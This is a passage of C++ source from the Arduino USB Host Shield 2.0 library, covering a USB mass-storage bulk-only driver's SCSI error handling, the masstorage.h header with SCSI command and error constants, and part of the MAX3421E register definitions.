0x80); Notify(PSTR("Data Stage:\tOK\r\n"), 0x80); } else { // Throw away csw, IT IS NOT OF ANY USE. ResetRecovery(); return ret; } ret = HandleUsbError(usberr, epDataInIndex); if(ret) { ErrorMessage (PSTR("============================ CSW"), ret); } if(usberr == hrSUCCESS) { if(IsValidCSW(&csw, pcbw)) { //ErrorMessage (PSTR("CSW.dCBWTag"), csw.dCSWTag); //ErrorMessage (PSTR("bCSWStatus"), csw.bCSWStatus); //ErrorMessage (PSTR("dCSWDataResidue"), csw.dCSWDataResidue); Notify(PSTR("CSW:\t\tOK\r\n\r\n"), 0x80); return csw.bCSWStatus; } else { // NOTE! Sometimes this is caused by the reported residue being wrong. // Get a different device. It isn't compliant, and should have never passed Q&A. // I own one... 05e3:0701 Genesys Logic, Inc. USB 2.0 IDE Adapter. // Other devices that exhibit this behavior exist in the wild too. // Be sure to check quirks in the Linux source code before reporting a bug. --xxxajk Notify(PSTR("Invalid CSW\r\n"), 0x80); ResetRecovery(); //return MASS_ERR_SUCCESS; return MASS_ERR_INVALID_CSW; } } } return ret; } /** * For driver use only. * * @param lun Logical Unit Number * @return */ uint8_t BulkOnly::SetCurLUN(uint8_t lun) { if(lun > bMaxLUN) return MASS_ERR_INVALID_LUN; bTheLUN = lun; return MASS_ERR_SUCCESS; }; /** * For driver use only. * * @param status * @return */ uint8_t BulkOnly::HandleSCSIError(uint8_t status) { uint8_t ret = 0; switch(status) { case 0: return MASS_ERR_SUCCESS; case 2: ErrorMessage (PSTR("Phase Error"), status); ErrorMessage (PSTR("LUN"), bTheLUN); ResetRecovery(); return MASS_ERR_GENERAL_SCSI_ERROR; case 1: ErrorMessage (PSTR("SCSI Error"), status); ErrorMessage (PSTR("LUN"), bTheLUN); RequestSenseResponce rsp; ret = RequestSense(bTheLUN, sizeof (RequestSenseResponce), (uint8_t*) & rsp); if(ret) { return MASS_ERR_GENERAL_SCSI_ERROR; } ErrorMessage (PSTR("Response Code"), rsp.bResponseCode); if(rsp.bResponseCode & 0x80) { Notify(PSTR("Information field: "), 0x80); for(int i = 0; i < 4; i++) { D_PrintHex (rsp.CmdSpecificInformation[i], 0x80); Notify(PSTR(" "), 0x80); } Notify(PSTR("\r\n"), 0x80); } ErrorMessage (PSTR("Sense Key"), rsp.bmSenseKey); ErrorMessage (PSTR("Add Sense Code"), rsp.bAdditionalSenseCode); ErrorMessage (PSTR("Add Sense Qual"), rsp.bAdditionalSenseQualifier); // warning, this is not testing ASQ, only SK and ASC. switch(rsp.bmSenseKey) { case SCSI_S_UNIT_ATTENTION: switch(rsp.bAdditionalSenseCode) { case SCSI_ASC_MEDIA_CHANGED: return MASS_ERR_MEDIA_CHANGED; default: return MASS_ERR_UNIT_NOT_READY; } case SCSI_S_NOT_READY: switch(rsp.bAdditionalSenseCode) { case SCSI_ASC_MEDIUM_NOT_PRESENT: return MASS_ERR_NO_MEDIA; default: return MASS_ERR_UNIT_NOT_READY; } case SCSI_S_ILLEGAL_REQUEST: switch(rsp.bAdditionalSenseCode) { case SCSI_ASC_LBA_OUT_OF_RANGE: return MASS_ERR_BAD_LBA; default: return MASS_ERR_CMD_NOT_SUPPORTED; } default: return MASS_ERR_GENERAL_SCSI_ERROR; } // case 4: return MASS_ERR_UNIT_BUSY; // Busy means retry later. // case 0x05/0x14: we stalled out // case 0x15/0x16: we naked out. default: ErrorMessage (PSTR("Gen SCSI Err"), status); ErrorMessage (PSTR("LUN"), bTheLUN); return status; } // switch } //////////////////////////////////////////////////////////////////////////////// // Debugging code //////////////////////////////////////////////////////////////////////////////// /** * * @param ep_ptr */ void BulkOnly::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR * ep_ptr) { Notify(PSTR("Endpoint descriptor:"), 0x80); Notify(PSTR("\r\nLength:\t\t"), 0x80); D_PrintHex (ep_ptr->bLength, 0x80); Notify(PSTR("\r\nType:\t\t"), 0x80); D_PrintHex (ep_ptr->bDescriptorType, 0x80); Notify(PSTR("\r\nAddress:\t"), 0x80); D_PrintHex (ep_ptr->bEndpointAddress, 0x80); Notify(PSTR("\r\nAttributes:\t"), 0x80); D_PrintHex (ep_ptr->bmAttributes, 0x80); Notify(PSTR("\r\nMaxPktSize:\t"), 0x80); D_PrintHex (ep_ptr->wMaxPacketSize, 0x80); Notify(PSTR("\r\nPoll Intrv:\t"), 0x80); D_PrintHex (ep_ptr->bInterval, 0x80); Notify(PSTR("\r\n"), 0x80); } //////////////////////////////////////////////////////////////////////////////// // misc/to kill/to-do //////////////////////////////////////////////////////////////////////////////// /* We won't be needing this... */ uint8_t BulkOnly::Read(uint8_t lun __attribute__((unused)), uint32_t addr __attribute__((unused)), uint16_t bsize __attribute__((unused)), uint8_t blocks __attribute__((unused)), USBReadParser * prs __attribute__((unused))) { #if MS_WANT_PARSER if(!LUNOk[lun]) return MASS_ERR_NO_MEDIA; Notify(PSTR("\r\nRead (With parser)\r\n"), 0x80); Notify(PSTR("---------\r\n"), 0x80); CommandBlockWrapper cbw = CommandBlockWrapper(); cbw.dCBWSignature = MASS_CBW_SIGNATURE; cbw.dCBWTag = ++dCBWTag; cbw.dCBWDataTransferLength = ((uint32_t)bsize * blocks); cbw.bmCBWFlags = MASS_CMD_DIR_IN, cbw.bmCBWLUN = lun; cbw.bmCBWCBLength = 10; cbw.CBWCB[0] = SCSI_CMD_READ_10; cbw.CBWCB[8] = blocks; cbw.CBWCB[2] = ((addr >> 24) & 0xff); cbw.CBWCB[3] = ((addr >> 16) & 0xff); cbw.CBWCB[4] = ((addr >> 8) & 0xff); cbw.CBWCB[5] = (addr & 0xff); return HandleSCSIError(Transaction(&cbw, bsize, prs, 1)); #else return MASS_ERR_NOT_IMPLEMENTED; #endif } ================================================ FILE: libraries/USB_Host_Shield_2.0/masstorage.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(__MASSTORAGE_H__) #define __MASSTORAGE_H__ // Cruft removal, makes driver smaller, faster. #ifndef MS_WANT_PARSER #define MS_WANT_PARSER 0 #endif #include "Usb.h" #define bmREQ_MASSOUT USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE #define bmREQ_MASSIN USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE // Mass Storage Subclass Constants #define MASS_SUBCLASS_SCSI_NOT_REPORTED 0x00 // De facto use #define MASS_SUBCLASS_RBC 0x01 #define MASS_SUBCLASS_ATAPI 0x02 // MMC-5 (ATAPI) #define MASS_SUBCLASS_OBSOLETE1 0x03 // Was QIC-157 #define MASS_SUBCLASS_UFI 0x04 // Specifies how to interface Floppy Disk Drives to USB #define MASS_SUBCLASS_OBSOLETE2 0x05 // Was SFF-8070i #define MASS_SUBCLASS_SCSI 0x06 // SCSI Transparent Command Set #define MASS_SUBCLASS_LSDFS 0x07 // Specifies how host has to negotiate access before trying SCSI #define MASS_SUBCLASS_IEEE1667 0x08 // Mass Storage Class Protocols #define MASS_PROTO_CBI 0x00 // CBI (with command completion interrupt) #define MASS_PROTO_CBI_NO_INT 0x01 // CBI (without command completion interrupt) #define MASS_PROTO_OBSOLETE 0x02 #define MASS_PROTO_BBB 0x50 // Bulk Only Transport #define MASS_PROTO_UAS 0x62 // Request Codes #define MASS_REQ_ADSC 0x00 #define MASS_REQ_GET 0xFC #define MASS_REQ_PUT 0xFD #define MASS_REQ_GET_MAX_LUN 0xFE #define MASS_REQ_BOMSR 0xFF // Bulk-Only Mass Storage Reset #define MASS_CBW_SIGNATURE 0x43425355 #define MASS_CSW_SIGNATURE 0x53425355 #define MASS_CMD_DIR_OUT 0 // (0 << 7) #define MASS_CMD_DIR_IN 0x80 //(1 << 7) /* * Reference documents from T10 (http://www.t10.org) * SCSI Primary Commands - 3 (SPC-3) * SCSI Block Commands - 2 (SBC-2) * Multi-Media Commands - 5 (MMC-5) */ /* Group 1 commands (CDB's here are should all be 6-bytes) */ #define SCSI_CMD_TEST_UNIT_READY 0x00 #define SCSI_CMD_REQUEST_SENSE 0x03 #define SCSI_CMD_FORMAT_UNIT 0x04 #define SCSI_CMD_READ_6 0x08 #define SCSI_CMD_WRITE_6 0x0A #define SCSI_CMD_INQUIRY 0x12 #define SCSI_CMD_MODE_SELECT_6 0x15 #define SCSI_CMD_MODE_SENSE_6 0x1A #define SCSI_CMD_START_STOP_UNIT 0x1B #define SCSI_CMD_PREVENT_REMOVAL 0x1E /* Group 2 Commands (CDB's here are 10-bytes) */ #define SCSI_CMD_READ_FORMAT_CAPACITIES 0x23 #define SCSI_CMD_READ_CAPACITY_10 0x25 #define SCSI_CMD_READ_10 0x28 #define SCSI_CMD_WRITE_10 0x2A #define SCSI_CMD_SEEK_10 0x2B #define SCSI_CMD_ERASE_10 0x2C #define SCSI_CMD_WRITE_AND_VERIFY_10 0x2E #define SCSI_CMD_VERIFY_10 0x2F #define SCSI_CMD_SYNCHRONIZE_CACHE 0x35 #define SCSI_CMD_WRITE_BUFFER 0x3B #define SCSI_CMD_READ_BUFFER 0x3C #define SCSI_CMD_READ_SUBCHANNEL 0x42 #define SCSI_CMD_READ_TOC 0x43 #define SCSI_CMD_READ_HEADER 0x44 #define SCSI_CMD_PLAY_AUDIO_10 0x45 #define SCSI_CMD_GET_CONFIGURATION 0x46 #define SCSI_CMD_PLAY_AUDIO_MSF 0x47 #define SCSI_CMD_PLAY_AUDIO_TI 0x48 #define SCSI_CMD_PLAY_TRACK_REL_10 0x49 #define SCSI_CMD_GET_EVENT_STATUS 0x4A #define SCSI_CMD_PAUSE_RESUME 0x4B #define SCSI_CMD_READ_DISC_INFORMATION 0x51 #define SCSI_CMD_READ_TRACK_INFORMATION 0x52 #define SCSI_CMD_RESERVE_TRACK 0x53 #define SCSI_CMD_SEND_OPC_INFORMATION 0x54 #define SCSI_CMD_MODE_SELECT_10 0x55 #define SCSI_CMD_REPAIR_TRACK 0x58 #define SCSI_CMD_MODE_SENSE_10 0x5A #define SCSI_CMD_CLOSE_TRACK_SESSION 0x5B #define SCSI_CMD_READ_BUFFER_CAPACITY 0x5C #define SCSI_CMD_SEND_CUE_SHEET 0x5D /* Group 5 Commands (CDB's here are 12-bytes) */ #define SCSI_CMD_REPORT_LUNS 0xA0 #define SCSI_CMD_BLANK 0xA1 #define SCSI_CMD_SECURITY_PROTOCOL_IN 0xA2 #define SCSI_CMD_SEND_KEY 0xA3 #define SCSI_CMD_REPORT_KEY 0xA4 #define SCSI_CMD_PLAY_AUDIO_12 0xA5 #define SCSI_CMD_LOAD_UNLOAD 0xA6 #define SCSI_CMD_SET_READ_AHEAD 0xA7 #define SCSI_CMD_READ_12 0xA8 #define SCSI_CMD_PLAY_TRACK_REL_12 0xA9 #define SCSI_CMD_WRITE_12 0xAA #define SCSI_CMD_READ_MEDIA_SERIAL_12 0xAB #define SCSI_CMD_GET_PERFORMANCE 0xAC #define SCSI_CMD_READ_DVD_STRUCTURE 0xAD #define SCSI_CMD_SECURITY_PROTOCOL_OUT 0xB5 #define SCSI_CMD_SET_STREAMING 0xB6 #define SCSI_CMD_READ_MSF 0xB9 #define SCSI_CMD_SET_SPEED 0xBB #define SCSI_CMD_MECHANISM_STATUS 0xBD #define SCSI_CMD_READ_CD 0xBE #define SCSI_CMD_SEND_DISC_STRUCTURE 0xBF /* Vendor-unique Commands, included for completeness */ #define SCSI_CMD_CD_PLAYBACK_STATUS 0xC4 /* SONY unique */ #define SCSI_CMD_PLAYBACK_CONTROL 0xC9 /* SONY unique */ #define SCSI_CMD_READ_CDDA 0xD8 /* Vendor unique */ #define SCSI_CMD_READ_CDXA 0xDB /* Vendor unique */ #define SCSI_CMD_READ_ALL_SUBCODES 0xDF /* Vendor unique */ /* SCSI error codes */ #define SCSI_S_NOT_READY 0x02 #define SCSI_S_MEDIUM_ERROR 0x03 #define SCSI_S_ILLEGAL_REQUEST 0x05 #define SCSI_S_UNIT_ATTENTION 0x06 #define SCSI_ASC_LBA_OUT_OF_RANGE 0x21 #define SCSI_ASC_MEDIA_CHANGED 0x28 #define SCSI_ASC_MEDIUM_NOT_PRESENT 0x3A /* USB error codes */ #define MASS_ERR_SUCCESS 0x00 #define MASS_ERR_PHASE_ERROR 0x02 #define MASS_ERR_UNIT_NOT_READY 0x03 #define MASS_ERR_UNIT_BUSY 0x04 #define MASS_ERR_STALL 0x05 #define MASS_ERR_CMD_NOT_SUPPORTED 0x06 #define MASS_ERR_INVALID_CSW 0x07 #define MASS_ERR_NO_MEDIA 0x08 #define MASS_ERR_BAD_LBA 0x09 #define MASS_ERR_MEDIA_CHANGED 0x0A #define MASS_ERR_DEVICE_DISCONNECTED 0x11 #define MASS_ERR_UNABLE_TO_RECOVER 0x12 // Reset recovery error #define MASS_ERR_INVALID_LUN 0x13 #define MASS_ERR_WRITE_STALL 0x14 #define MASS_ERR_READ_NAKS 0x15 #define MASS_ERR_WRITE_NAKS 0x16 #define MASS_ERR_WRITE_PROTECTED 0x17 #define MASS_ERR_NOT_IMPLEMENTED 0xFD #define MASS_ERR_GENERAL_SCSI_ERROR 0xFE #define MASS_ERR_GENERAL_USB_ERROR 0xFF #define MASS_ERR_USER 0xA0 // For subclasses to define their own error codes #define MASS_TRANS_FLG_CALLBACK 0x01 // Callback is involved #define MASS_TRANS_FLG_NO_STALL_CHECK 0x02 // STALL condition is not checked #define MASS_TRANS_FLG_NO_PHASE_CHECK 0x04 // PHASE_ERROR is not checked #define MASS_MAX_ENDPOINTS 3 struct Capacity { uint8_t data[8]; //uint32_t dwBlockAddress; //uint32_t dwBlockLength; } __attribute__((packed)); struct BASICCDB { uint8_t Opcode; unsigned unused : 5; unsigned LUN : 3; uint8_t info[12]; } __attribute__((packed)); typedef BASICCDB BASICCDB_t; struct CDB6 { uint8_t Opcode; unsigned LBAMSB : 5; unsigned LUN : 3; uint8_t LBAHB; uint8_t LBALB; uint8_t AllocationLength; uint8_t Control; public: CDB6(uint8_t _Opcode, uint8_t _LUN, uint32_t LBA, uint8_t _AllocationLength, uint8_t _Control) : Opcode(_Opcode), LBAMSB(BGRAB2(LBA) & 0x1f), LUN(_LUN), LBAHB(BGRAB1(LBA)), LBALB(BGRAB0(LBA)), AllocationLength(_AllocationLength), Control(_Control) { } CDB6(uint8_t _Opcode, uint8_t _LUN, uint8_t _AllocationLength, uint8_t _Control) : Opcode(_Opcode), LBAMSB(0), LUN(_LUN), LBAHB(0), LBALB(0), AllocationLength(_AllocationLength), Control(_Control) { } } __attribute__((packed)); typedef CDB6 CDB6_t; struct CDB10 { uint8_t Opcode; unsigned Service_Action : 5; unsigned LUN : 3; uint8_t LBA_L_M_MB; uint8_t LBA_L_M_LB; uint8_t LBA_L_L_MB; uint8_t LBA_L_L_LB; uint8_t Misc2; uint8_t ALC_MB; uint8_t ALC_LB; uint8_t Control; public: CDB10(uint8_t _Opcode, uint8_t _LUN) : Opcode(_Opcode), Service_Action(0), LUN(_LUN), LBA_L_M_MB(0), LBA_L_M_LB(0), LBA_L_L_MB(0), LBA_L_L_LB(0), Misc2(0), ALC_MB(0), ALC_LB(0), Control(0) { } CDB10(uint8_t _Opcode, uint8_t _LUN, uint16_t xflen, uint32_t _LBA) : Opcode(_Opcode), Service_Action(0), LUN(_LUN), LBA_L_M_MB(BGRAB3(_LBA)), LBA_L_M_LB(BGRAB2(_LBA)), LBA_L_L_MB(BGRAB1(_LBA)), LBA_L_L_LB(BGRAB0(_LBA)), Misc2(0), ALC_MB(BGRAB1(xflen)), ALC_LB(BGRAB0(xflen)), Control(0) { } } __attribute__((packed)); typedef CDB10 CDB10_t; struct CDB12 { uint8_t Opcode; unsigned Service_Action : 5; unsigned Misc : 3; uint8_t LBA_L_M_LB; uint8_t LBA_L_L_MB; uint8_t LBA_L_L_LB; uint8_t ALC_M_LB; uint8_t ALC_L_MB; uint8_t ALC_L_LB; uint8_t Control; } __attribute__((packed)); typedef CDB12 CDB12_t; struct CDB_LBA32_16 { uint8_t Opcode; unsigned Service_Action : 5; unsigned Misc : 3; uint8_t LBA_L_M_MB; uint8_t LBA_L_M_LB; uint8_t LBA_L_L_MB; uint8_t LBA_L_L_LB; uint8_t A_M_M_MB; uint8_t A_M_M_LB; uint8_t A_M_L_MB; uint8_t A_M_L_LB; uint8_t ALC_M_MB; uint8_t ALC_M_LB; uint8_t ALC_L_MB; uint8_t ALC_L_LB; uint8_t Misc2; uint8_t Control; } __attribute__((packed)); struct CDB_LBA64_16 { uint8_t Opcode; uint8_t Misc; uint8_t LBA_M_M_MB; uint8_t LBA_M_M_LB; uint8_t LBA_M_L_MB; uint8_t LBA_M_L_LB; uint8_t LBA_L_M_MB; uint8_t LBA_L_M_LB; uint8_t LBA_L_L_MB; uint8_t LBA_L_L_LB; uint8_t ALC_M_MB; uint8_t ALC_M_LB; uint8_t ALC_L_MB; uint8_t ALC_L_LB; uint8_t Misc2; uint8_t Control; } __attribute__((packed)); struct InquiryResponse { uint8_t DeviceType : 5; uint8_t PeripheralQualifier : 3; unsigned Reserved : 7; unsigned Removable : 1; uint8_t Version; unsigned ResponseDataFormat : 4; unsigned HISUP : 1; unsigned NormACA : 1; unsigned TrmTsk : 1; unsigned AERC : 1; uint8_t AdditionalLength; //uint8_t Reserved3[2]; unsigned PROTECT : 1; unsigned Res : 2; unsigned ThreePC : 1; unsigned TPGS : 2; unsigned ACC : 1; unsigned SCCS : 1; unsigned ADDR16 : 1; unsigned R1 : 1; unsigned R2 : 1; unsigned MCHNGR : 1; unsigned MULTIP : 1; unsigned VS : 1; unsigned ENCSERV : 1; unsigned BQUE : 1; unsigned SoftReset : 1; unsigned CmdQue : 1; unsigned Reserved4 : 1; unsigned Linked : 1; unsigned Sync : 1; unsigned WideBus16Bit : 1; unsigned WideBus32Bit : 1; unsigned RelAddr : 1; uint8_t VendorID[8]; uint8_t ProductID[16]; uint8_t RevisionID[4]; } __attribute__((packed)); struct CommandBlockWrapperBase { uint32_t dCBWSignature; uint32_t dCBWTag; uint32_t dCBWDataTransferLength; uint8_t bmCBWFlags; public: CommandBlockWrapperBase() { } CommandBlockWrapperBase(uint32_t tag, uint32_t xflen, uint8_t flgs) : dCBWSignature(MASS_CBW_SIGNATURE), dCBWTag(tag), dCBWDataTransferLength(xflen), bmCBWFlags(flgs) { } } __attribute__((packed)); struct CommandBlockWrapper : public CommandBlockWrapperBase { struct { uint8_t bmCBWLUN : 4; uint8_t bmReserved1 : 4; }; struct { uint8_t bmCBWCBLength : 4; uint8_t bmReserved2 : 4; }; uint8_t CBWCB[16]; public: // All zeroed. CommandBlockWrapper() : CommandBlockWrapperBase(0, 0, 0), bmReserved1(0), bmReserved2(0) { for(int i = 0; i < 16; i++) CBWCB[i] = 0; } // Generic Wrap, CDB zeroed. CommandBlockWrapper(uint32_t tag, uint32_t xflen, uint8_t flgs, uint8_t lu, uint8_t cmdlen, uint8_t cmd) : CommandBlockWrapperBase(tag, xflen, flgs), bmCBWLUN(lu), bmReserved1(0), bmCBWCBLength(cmdlen), bmReserved2(0) { for(int i = 0; i < 16; i++) CBWCB[i] = 0; // Type punning can cause optimization problems and bugs. // Using reinterpret_cast to a dreinterpretifferent object is the proper way to do this. //(((BASICCDB_t *) CBWCB)->LUN) = cmd; BASICCDB_t *x = reinterpret_cast(CBWCB); x->LUN = cmd; } // Wrap for CDB of 6 CommandBlockWrapper(uint32_t tag, uint32_t xflen, CDB6_t *cdb, uint8_t dir) : CommandBlockWrapperBase(tag, xflen, dir), bmCBWLUN(cdb->LUN), bmReserved1(0), bmCBWCBLength(6), bmReserved2(0) { memcpy(&CBWCB, cdb, 6); } // Wrap for CDB of 10 CommandBlockWrapper(uint32_t tag, uint32_t xflen, CDB10_t *cdb, uint8_t dir) : CommandBlockWrapperBase(tag, xflen, dir), bmCBWLUN(cdb->LUN), bmReserved1(0), bmCBWCBLength(10), bmReserved2(0) { memcpy(&CBWCB, cdb, 10); } } __attribute__((packed)); struct CommandStatusWrapper { uint32_t dCSWSignature; uint32_t dCSWTag; uint32_t dCSWDataResidue; uint8_t bCSWStatus; } __attribute__((packed)); struct RequestSenseResponce { uint8_t bResponseCode; uint8_t bSegmentNumber; uint8_t bmSenseKey : 4; uint8_t bmReserved : 1; uint8_t bmILI : 1; uint8_t bmEOM : 1; uint8_t bmFileMark : 1; uint8_t Information[4]; uint8_t bAdditionalLength; uint8_t CmdSpecificInformation[4]; uint8_t bAdditionalSenseCode; uint8_t bAdditionalSenseQualifier; uint8_t bFieldReplaceableUnitCode; uint8_t SenseKeySpecific[3]; } __attribute__((packed)); class BulkOnly : public USBDeviceConfig, public UsbConfigXtracter { protected: static const uint8_t epDataInIndex; // DataIn endpoint index static const uint8_t epDataOutIndex; // DataOUT endpoint index static const uint8_t epInterruptInIndex; // InterruptIN endpoint index USB *pUsb; uint8_t bAddress; uint8_t bConfNum; // configuration number uint8_t bIface; // interface value uint8_t bNumEP; // total number of EP in the configuration uint32_t qNextPollTime; // next poll time bool bPollEnable; // poll enable flag EpInfo epInfo[MASS_MAX_ENDPOINTS]; uint32_t dCBWTag; // Tag //uint32_t dCBWDataTransferLength; // Data Transfer Length uint8_t bLastUsbError; // Last USB error uint8_t bMaxLUN; // Max LUN uint8_t bTheLUN; // Active LUN uint32_t CurrentCapacity[MASS_MAX_SUPPORTED_LUN]; // Total sectors uint16_t CurrentSectorSize[MASS_MAX_SUPPORTED_LUN]; // Sector size, clipped to 16 bits bool LUNOk[MASS_MAX_SUPPORTED_LUN]; // use this to check for media changes. bool WriteOk[MASS_MAX_SUPPORTED_LUN]; void PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr); // Additional Initialization Method for Subclasses virtual uint8_t OnInit() { return 0; }; public: BulkOnly(USB *p); uint8_t GetLastUsbError() { return bLastUsbError; }; uint8_t GetbMaxLUN() { return bMaxLUN; // Max LUN } uint8_t GetbTheLUN() { return bTheLUN; // Active LUN } bool WriteProtected(uint8_t lun); uint8_t MediaCTL(uint8_t lun, uint8_t ctl); uint8_t Read(uint8_t lun, uint32_t addr, uint16_t bsize, uint8_t blocks, uint8_t *buf); uint8_t Read(uint8_t lun, uint32_t addr, uint16_t bsize, uint8_t blocks, USBReadParser *prs); uint8_t Write(uint8_t lun, uint32_t addr, uint16_t bsize, uint8_t blocks, const uint8_t *buf); uint8_t LockMedia(uint8_t lun, uint8_t lock); bool LUNIsGood(uint8_t lun); uint32_t GetCapacity(uint8_t lun); uint16_t GetSectorSize(uint8_t lun); // USBDeviceConfig implementation uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); uint8_t ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed); uint8_t Release(); uint8_t Poll(); virtual uint8_t GetAddress() { return bAddress; }; // UsbConfigXtracter implementation void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep); virtual bool DEVCLASSOK(uint8_t klass) { return (klass == USB_CLASS_MASS_STORAGE); } uint8_t SCSITransaction6(CDB6_t *cdb, uint16_t buf_size, void *buf, uint8_t dir); uint8_t SCSITransaction10(CDB10_t *cdb, uint16_t buf_size, void *buf, uint8_t dir); private: uint8_t Inquiry(uint8_t lun, uint16_t size, uint8_t *buf); uint8_t TestUnitReady(uint8_t lun); uint8_t RequestSense(uint8_t lun, uint16_t size, uint8_t *buf); uint8_t ModeSense6(uint8_t lun, uint8_t pc, uint8_t page, uint8_t subpage, uint8_t len, uint8_t *buf); uint8_t GetMaxLUN(uint8_t *max_lun); uint8_t SetCurLUN(uint8_t lun); void Reset(); uint8_t ResetRecovery(); uint8_t ReadCapacity10(uint8_t lun, uint8_t *buf); void ClearAllEP(); void CheckMedia(); bool CheckLUN(uint8_t lun); uint8_t Page3F(uint8_t lun); bool IsValidCBW(uint8_t size, uint8_t *pcbw); bool IsMeaningfulCBW(uint8_t size, uint8_t *pcbw); bool IsValidCSW(CommandStatusWrapper *pcsw, CommandBlockWrapperBase *pcbw); uint8_t ClearEpHalt(uint8_t index); #if MS_WANT_PARSER uint8_t Transaction(CommandBlockWrapper *cbw, uint16_t bsize, void *buf, uint8_t flags); #endif uint8_t Transaction(CommandBlockWrapper *cbw, uint16_t bsize, void *buf); uint8_t HandleUsbError(uint8_t error, uint8_t index); uint8_t HandleSCSIError(uint8_t status); }; #endif // __MASSTORAGE_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/max3421e.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(_usb_h_) || defined(_max3421e_h_) #error "Never include max3421e.h directly; include Usb.h instead" #else #define _max3421e_h_ /* MAX3421E register/bit names and bitmasks */ /* Arduino pin definitions */ /* pin numbers to port numbers */ #define SE0 0 #define SE1 1 #define FSHOST 2 #define LSHOST 3 /* MAX3421E command byte format: rrrrr0wa where 'r' is register number */ // // MAX3421E Registers in HOST mode. // #define rRCVFIFO 0x08 //1<<3 #define rSNDFIFO 0x10 //2<<3 #define rSUDFIFO 0x20 //4<<3 #define rRCVBC 0x30 //6<<3 #define rSNDBC 0x38 //7<<3 #define rUSBIRQ 0x68 //13<<3 /* USBIRQ Bits */ #define bmVBUSIRQ 0x40 //b6 #define bmNOVBUSIRQ 0x20 //b5 #define bmOSCOKIRQ 0x01 //b0 #define rUSBIEN 0x70 //14<<3 /* USBIEN Bits */ #define bmVBUSIE 0x40 //b6 #define bmNOVBUSIE 0x20 //b5 #define bmOSCOKIE 0x01 //b0 #define rUSBCTL 0x78 //15<<3 /* USBCTL Bits */ #define bmCHIPRES 0x20 //b5 #define bmPWRDOWN 0x10 //b4 #define rCPUCTL 0x80 //16<<3 /* CPUCTL Bits */ #define bmPUSLEWID1 0x80 //b7 #define bmPULSEWID0 0x40 //b6 #define bmIE 0x01 //b0 #define rPINCTL 0x88 //17<<3 /* PINCTL Bits */ #define bmFDUPSPI 0x10 //b4 #define bmINTLEVEL 0x08 //b3 #define bmPOSINT 0x04 //b2 #define bmGPXB 0x02 //b1 #define bmGPXA 0x01 //b0 // GPX pin selections #define GPX_OPERATE 0x00 #define GPX_VBDET 0x01 #define GPX_BUSACT 0x02 #define GPX_SOF 0x03 #define rREVISION 0x90 //18<<3 #define rIOPINS1 0xa0 //20<<3 /* IOPINS1 Bits */ #define bmGPOUT0 0x01 #define bmGPOUT1 0x02 #define bmGPOUT2 0x04 #define bmGPOUT3 0x08 #define bmGPIN0 0x10 #define bmGPIN1 0x20 #define bmGPIN2 0x40 #define bmGPIN3 0x80 #define rIOPINS2 0xa8 //21<<3 /* IOPINS2 Bits */ #define bmGPOUT4 0x01 #define bmGPOUT5 0x02 #define bmGPOUT6 0x04 #define bmGPOUT7 0x08 #define bmGPIN4 0x10 #define bmGPIN5 0x20 #define bmGPIN6 0x40 #define bmGPIN7 0x80 #define rGPINIRQ 0xb0 //22<<3 /* GPINIRQ Bits */ #define bmGPINIRQ0 0x01 #define bmGPINIRQ1 0x02 #define bmGPINIRQ2 0x04 #define bmGPINIRQ3 0x08 #define bmGPINIRQ4 0x10 #define bmGPINIRQ5 0x20 #define bmGPINIRQ6 0x40 #define bmGPINIRQ7 0x80 #define rGPINIEN 0xb8 //23<<3 /* GPINIEN Bits */ #define bmGPINIEN0 0x01 #define bmGPINIEN1 0x02 #define bmGPINIEN2 0x04 #define bmGPINIEN3 0x08 #define bmGPINIEN4 0x10 #define bmGPINIEN5 0x20 #define bmGPINIEN6 0x40 #define bmGPINIEN7 0x80 #define rGPINPOL 0xc0 //24<<3 /* GPINPOL Bits */ #define bmGPINPOL0 0x01 #define bmGPINPOL1 0x02 #define bmGPINPOL2 0x04 #define bmGPINPOL3 0x08 #define bmGPINPOL4 0x10 #define bmGPINPOL5 0x20 #define bmGPINPOL6 0x40 #define bmGPINPOL7 0x80 #define rHIRQ 0xc8 //25<<3 /* HIRQ Bits */ #define bmBUSEVENTIRQ 0x01 // indicates BUS Reset Done or BUS Resume #define bmRWUIRQ 0x02 #define bmRCVDAVIRQ 0x04 #define bmSNDBAVIRQ 0x08 #define bmSUSDNIRQ 0x10 #define bmCONDETIRQ 0x20 #define bmFRAMEIRQ 0x40 #define bmHXFRDNIRQ 0x80 #define rHIEN 0xd0 //26<<3 /* HIEN Bits */ #define bmBUSEVENTIE 0x01 #define bmRWUIE 0x02 #define bmRCVDAVIE 0x04 #define bmSNDBAVIE 0x08 #define bmSUSDNIE 0x10 #define bmCONDETIE 0x20 #define bmFRAMEIE 0x40 #define bmHXFRDNIE 0x80 #define rMODE 0xd8 //27<<3 /* MODE Bits */ #define bmHOST 0x01 #define bmLOWSPEED 